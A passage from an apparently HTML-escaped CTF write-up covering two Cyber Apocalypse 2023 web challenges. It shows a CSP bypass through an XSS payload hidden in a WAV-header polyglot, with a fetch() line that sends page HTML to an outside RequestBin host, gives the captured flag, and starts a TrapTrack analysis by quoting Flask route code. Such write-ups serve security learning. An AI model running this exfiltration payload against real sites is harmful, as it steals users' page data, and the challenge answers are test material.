&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">setHeader&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Content-Security-Policy&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;script-src &amp;#39;self&amp;#39;; frame-ancestors &amp;#39;none&amp;#39;; object-src &amp;#39;none&amp;#39;; base-uri &amp;#39;none&amp;#39;;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">setHeader&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Cache-Control&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;no-cache, no-store, must-revalidate&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">setHeader&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Pragma&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;no-cache&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">setHeader&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Expires&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">next&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There is CSP rule set that only allows source from &lt;code>self&lt;/code>. What we were trying is called &lt;code>inline&lt;/code>. You can read the material &lt;a href="https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass" target="_blank" rel="noopener">here&lt;/a>.&lt;/p>
&lt;p>Don&amp;rsquo;t worry, I said 2 things come to my mind while reading the template. The second thing is that the audio use our uploaded &lt;code>WAV&lt;/code> file. There is a good &lt;a href="https://dttw.tech/posts/r1jswRaAG" target="_blank" rel="noopener">writeup&lt;/a> in the past that can clear your mind out. This challenge is more simple. It only checks the header, not the entire file. So we can use hexedit to edit the header of the file to &lt;code>WAV&lt;/code> header and include our xss payload. You can either use hexedit on your laptop or like me use an online hexeditor.&lt;/p>
&lt;p>But doesn&amp;rsquo;t it use &lt;code>&amp;lt;audio&amp;gt;&lt;/code> tag, how can the script be executed ? You&amp;rsquo;re right, we can&amp;rsquo;t. However if something like &lt;code>&amp;lt;script src=&amp;quot;our-evil-media-file.wav&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code> appears, it will execute our payload like a charm. Well how can we make it appear ?
Use &lt;code>!{hostname}&lt;/code> obviously.&lt;/p>
&lt;img src="spybug2.png" alt="Hex edit" width="1000"/>
&lt;p>Okay let&amp;rsquo;s go and try out our web built from the docker at &lt;code>localhost:1337&lt;/code>. We can use &lt;code>admin:admin&lt;/code> to login to the panel now.&lt;/p>
&lt;img src="spybug3.png" alt="Admin panel" width="1000"/>
&lt;p>You can either create a form with html to deal with the endpoints and upload file or use &lt;code>Postman&lt;/code> to deal with it like me.&lt;/p>
&lt;p>First me need to register an agent.&lt;/p>
&lt;img src="spybug4.png" alt="Register agent" width="1000"/>
&lt;p>Use the id and token returned for uploading the file that contains the payload.&lt;/p>
&lt;img src="spybug5.png" alt="Upload payload agent" width="1000"/>
&lt;p>And finally, inject into html.&lt;/p>
&lt;img src="spybug6.png" alt="Upload payload agent" width="1000"/>
&lt;img src="spybug7.png" alt="Alert 1" width="1000"/>
&lt;p>Spectacular !! Now we only need to modify our payload for it to get all content of the html page at send it to our self hosted server or maybe &lt;a href="https://requestbin.com" target="_blank" rel="noopener">RequestBin&lt;/a>. The payload I used:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// change the url of the requestbin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="nx">fetch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;https://ensei2x093jq8.x.pipedream.net?muneh=&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">documentElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">innerHTML&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Repeat all the steps above against challenge server. We will see the flag in the RequestBin we created.&lt;/p>
&lt;img src="spybug8.png" alt="Money" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{p01yg10t5_4nd_35p10n4g3}&lt;/strong>&lt;/p>
&lt;h2 id="traptrack">TrapTrack&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong>: &lt;a href="https://github.com/HoangREALER/cyberApocalypse2023/blob/main/web_traptrack.zip" target="_blank" rel="noopener">Get it here&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: The aliens have prepared several trap websites to spread their propaganda campaigns on the internet. Our intergalactic forensics team has recovered an artifact of their health check portal that keeps track of their trap websites. Can you take a look and see if you can infiltrate their system?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Right &amp;hellip; Another login panel, excepts, now the credential is harcoded in to the source code ε-(´・｀) ﾌ&lt;/p>
&lt;img src="traptrack1.png" alt="creds" width="1000"/>
&lt;img src="traptrack2.png" alt="creds" width="1000"/>
&lt;p>Use that cred and login to panel. Here at the panel, we see some kind of URL health checking going on.&lt;/p>
&lt;img src="traptrack3.png" alt="creds" width="1000"/>
&lt;p>Let&amp;rsquo;s try to put some URL in. How about our little RequestBin.&lt;/p>
&lt;img src="traptrack4.png" alt="creds" width="1000"/>
&lt;p>Result:&lt;/p>
&lt;img src="traptrack5.png" alt="creds" width="1000"/>
&lt;p>Very noice. So it really does somewhat of a CURL thing. Let&amp;rsquo;s look at the source code and this time I&amp;rsquo;ll ask ChatGPT what the challenge does.&lt;/p>
&lt;p>&lt;strong>&lt;code>blueprints/routes.py&lt;/code>&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">application.database&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">db&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">TrapTracks&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Blueprint&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">jsonify&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask_login&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">login_required&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">login_user&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">logout_user&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">application.cache&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">get_job_list&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">create_job_queue&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">get_job_queue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">web&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Blueprint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;web&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">api&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Blueprint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;api&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">status&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">200&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">jsonify&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s1">&amp;#39;message&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">}),&lt;/span> &lt;span class="n">status&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@web&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;GET&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">login&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;login.html&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/login&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">user_login&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_json&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Missing required parameters!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_json&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;username&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;password&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">username&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Missing required parameters!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">filter_by&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">first&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">user&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">password&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid username or password!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">403&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">login_user&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;User authenticated successfully!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@web&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/admin/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">scrape_list&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trap_tracks&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TrapTracks&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">all&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;admin.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">tracks&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">trap_tracks&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/tracks/list&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;GET&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">job_list&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get_job_list&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">Response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">([]),&lt;/span> &lt;span class="n">mimetype&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;application/json&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">Response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">mimetype&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;application/json&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/tracks/add&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">tracks_add&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_json&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Missing required parameters!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_json&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trapName&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;trapName&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trapURL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;trapURL&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">trapName&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">trapURL&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Missing required parameters!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">async_job&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">create_job_queue&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">trapName&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">trapURL&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">track&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TrapTracks&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">trap_name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">trapName&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">trap_url&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">trapURL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">track_cron_id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">async_job&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;job_id&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">db&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">track&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">db&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">commit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Trap Track added successfully!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">200&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/tracks/delete&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">tracks_del&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_json&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Missing required parameters!&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">401&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_json&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trackID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;id&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
